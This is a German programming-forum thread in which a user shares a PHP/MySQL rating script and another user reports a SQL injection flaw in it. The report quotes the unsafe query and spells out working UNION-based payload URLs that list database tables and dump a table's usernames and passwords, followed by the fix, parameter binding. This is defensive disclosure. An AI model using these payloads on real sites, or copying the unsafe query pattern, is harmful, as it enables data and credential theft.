Seite 1 von 2
Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 15:26
von Lambda
Hallo PBBFF´s,
kleines Zubehör.

Benötigt ist Webspace mit einer MySQL Datenbank. Beschreibung der Funktionen ist in der
'Example.pb' zu finden. Oh, bevor ich´s vergesse, bewertet es doch bitte gleich.
Achtung
Vermute es liegt an den Netzwerk-Funktionen, aber Avira verursacht bei mir ein POLINK Fehler (nur x32) - einfach den Echtzeit-Scanner deaktivieren oder mit Debugger kompilieren, werde das bald beheben.
Features
- Theme-Support
- Crossplatform (x32/x64)
- Vollständiges online-Bewertungssystem
- Text-Masken
- Eigene Bewertungssymbole
- Für beliebig viele Anwendungen/Spiele nutzbar
To-Do
- IP-Adressen speichern um doppelte Bewertungen zu vermeiden
- Kommentare
Installation (für Beispiel nicht benötigt)
1. SQL Befehle der 'SQL Install.txt' Datei ausführen.
2. Variablen der 'rating.php' Datei bearbeiten wie $Password, $DB_Name und $Username.
3. Die 'rating.php' Datei auf den Webspace hochladen.
Jetzt können Nutzer deine Anwendungen/Spiele etc. durch AppID´s bewerten.

Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 15:55
von Kiffi
Alexi hat geschrieben:Beschreibung der Funktionen ist in der 'Example.pb' zu finden.
und wo findet man die example.pb?
Grüße ... Kiffi
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 16:00
von Lambda
Danke für den schnellen Hinweiß.

Korrigiert.
(MCF/Fivestar/Windows/Other/PB/Example.pb)
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 18:21
von computerfreak
Die example.pb ist immer noch nicht da !

Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 20:57
von Lambda
Huh

jetzt aber.
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 21:42
von Dark
Hi,
sieht nett aus, aber diese MySQL Injection lässt grüßen:
Code: Alles auswählen
$sql = 'SELECT
SUM(Vote),
COUNT(*)
FROM
mcf_fivestar
WHERE AppID='.$_GET['id'];
z.B. zeigt folgende url
Code: Alles auswählen
rating.php?request=votes&id=-1%20UNION%20ALL%20SELECT%20group_concat(table_name%20separator%20'%5Cr%5Cn')%2C%20'your_tables_are%3A'%20FROM%20INFORMATION_SCHEMA.tables%20WHERE%20table_type%3D'BASE%20TABLE'
alle Tabellen in allen Datenbanken an, die der Benutzer sehen darf. Wenn man das ganze url decodiert sieht die Injection so aus:
Code: Alles auswählen
-1 UNION ALL SELECT group_concat(table_name separator '\r\n'), 'your_tables_are:' FROM INFORMATION_SCHEMA.tables WHERE table_type='BASE TABLE'
Folgende URL zeigt z.b. die Felder User and Pass von der Tabelle secret an:
Code: Alles auswählen
rating.php?request=votes&id=-1%20UNION%20ALL%20SELECT%20group_concat(CONCAT(User%2C%20'%20%3A%20'%2C%20Pass)%20separator%20'%5Cr%5Cn%20')%2C%201%20FROM%20secret%0A
nochmal ohne URL encodierung:
Code: Alles auswählen
-1 UNION ALL SELECT group_concat(CONCAT(User, ' : ', Pass) separator '\r\n '), 1 FROM secret
Das PHP Skript sollte also nochmal überarbeitet werden.
Dark
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 21:50
von Lambda
Letzteres konnte ich nicht nachstellen, bekomme einen PHP Fehler. Danke für den Hinweis, wäre sehr nett wenn du es überarbeiten könntest, da du dich anscheinend gut mit Sicherheitslücken in dem Bereich auskennst.

Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 21:59
von Dark
Du benötigst natürlich auch eine Tabelle secret um das nachzustellen. Folgende Tabelle wäre z.b. zum Testen geeignet:
Code: Alles auswählen
mysql> SELECT * from secret;
+--------+---------------------------+
| User | Pass |
+--------+---------------------------+
| root | super_secret_plaintext_pw |
| nobody | test |
+--------+---------------------------+
ergibt z.B. folgenden Output:
Du musst den Wert id vorher escapen und in Anführungszeichen '' packen bevor du es an mysql übergibst. Alternativ kannst du das ganze so machen wie bei rate, bei dem die Parameter separat übergeben werden, so dass PHP diese automatisch escaped.
Dark
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 22:29
von Kiffi
@Alexi: Du musst einfach bind_param() verwenden. Das hast Du ja einige Zeilen darüber ebenso gemacht.
Grüße ... Kiffi
Re: Fivestar Rating Control (x32/x64+Theme-Support)
Verfasst: 16.04.2013 22:40
von Lambda
Die AppID wird als Parameter übergeben, das schließt die Lücken dann bereits?
